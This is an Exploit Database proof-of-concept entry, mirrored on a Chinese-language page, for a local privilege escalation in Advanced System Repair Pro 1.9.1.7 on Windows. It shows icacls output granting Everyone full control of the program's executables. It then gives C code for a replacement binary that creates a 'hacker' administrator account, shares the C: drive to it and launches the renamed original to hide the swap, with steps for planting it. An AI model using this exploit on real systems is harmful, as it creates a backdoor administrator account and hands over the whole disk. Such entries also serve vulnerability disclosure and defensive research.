Advanced System Repair Pro 1.9.1.7 – Insecure File Permissions

• Exploit Database
• 39 阅读

• 作者： ZwX
  日期： 2020-01-13
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47905/

• # Exploit Title: Advanced System Repair Pro 1.9.1.7 - Insecure File Permissions
  # Exploit Author: ZwX
  # Exploit Date: 2020-01-12
  # Vendor Homepage : https://advancedsystemrepair.com/
  # Software Link: http://advancedsystemrepair.com/ASRProInstaller.exe
  # Tested on OS: Windows 10
  
  
  # Proof of Concept (PoC):
  ==========================
  
  C:\Program Files\Advanced System Repair Pro 1.9.1.7.0>icacls *.exe
  AdvancedSystemRepairPro.exe Everyone:(F)
  AUTORITE NT\Système:(I)(F)
  BUILTIN\Administrateurs:(I)(F)
  BUILTIN\Utilisateurs:(I)(RX)
  							
  dsutil.exe Everyone:(F)
   AUTORITE NT\Système:(I)(F)
   BUILTIN\Administrateurs:(I)(F)
   BUILTIN\Utilisateurs:(I)(RX)
  		 
  tscmon.exe Everyone:(F)
   AUTORITE NT\Système:(I)(F)
   BUILTIN\Administrateurs:(I)(F)
   BUILTIN\Utilisateurs:(I)(RX)
  							
  		 
  #Exploit code(s): 
  =================
  
  1) Compile below 'C' code name it as "AdvancedSystemRepairPro.exe"
  
  #include<windows.h>
  
  int main(void){
   system("net user hacker abc123 /add");
   system("net localgroup Administrators hacker/add");
   system("net share SHARE_NAME=c:\ /grant:hacker,full");
   WinExec("C:\\Program Files\\Advanced System Repair Pro 1.9.1.7.0\\~AdvancedSystemRepairPro.exe",0);
  return 0;
  } 
  
  2) Rename original "AdvancedSystemRepairPro.exe" to "~AdvancedSystemRepairPro.exe"
  3) Place our malicious "AdvancedSystemRepairPro.exe" in the Advanced System Repair Pro 1.9.1.7.0 directory
  4) Disconnect and wait for a more privileged user to connect and use AdvancedSystemRepairPro IDE. 
  Privilege Successful Escalation